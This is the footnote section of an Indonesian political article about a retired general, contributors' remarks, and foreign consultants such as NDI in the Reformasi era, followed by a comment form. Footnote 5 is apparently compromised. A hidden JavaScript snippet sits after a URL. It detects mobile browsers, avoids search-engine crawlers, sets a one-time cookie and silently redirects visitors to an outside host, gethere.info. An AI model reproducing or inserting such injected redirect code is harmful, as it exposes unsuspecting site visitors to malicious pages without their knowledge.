[2]              Brigjen TNI Purnawirawan, Ketua Bidang  Penelitian dan Pengkajian, Aliansi Kebangsaan, Jakarta; anggota Badan Pengkajian Pengurus Pusat Persatuan Purnawirawan TNI-Angkatan Darat ( PPAD), Jakarta.

[3]              Masukan dari Prof. Dr. Franz von Magnis-Suseno dan Harry Than Silalahi, S.H.

[4]              Masukan Prof. Dr. Franz von Magnis-Suseno dalam diskusi.

[5]              Salah satu konsultan luar negeri yang ikut memegang peranan dalam era Reformasi sejak tahun 1998 adalah  The National Democratic Institution (NDI), yang bermarkas di Washington, D.C. sebuah lembaga non Pemerintah yang dibiayai oleh the United States Agency for International Development, the Nasional Endowment for Democracy dan   berbagai kontributor swasta Amerika.  Lihat situs ndi-indonesia.tripod.com/job-openings/id5.html.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

LEAVE A REPLY

Please enter your comment!
Please enter your name here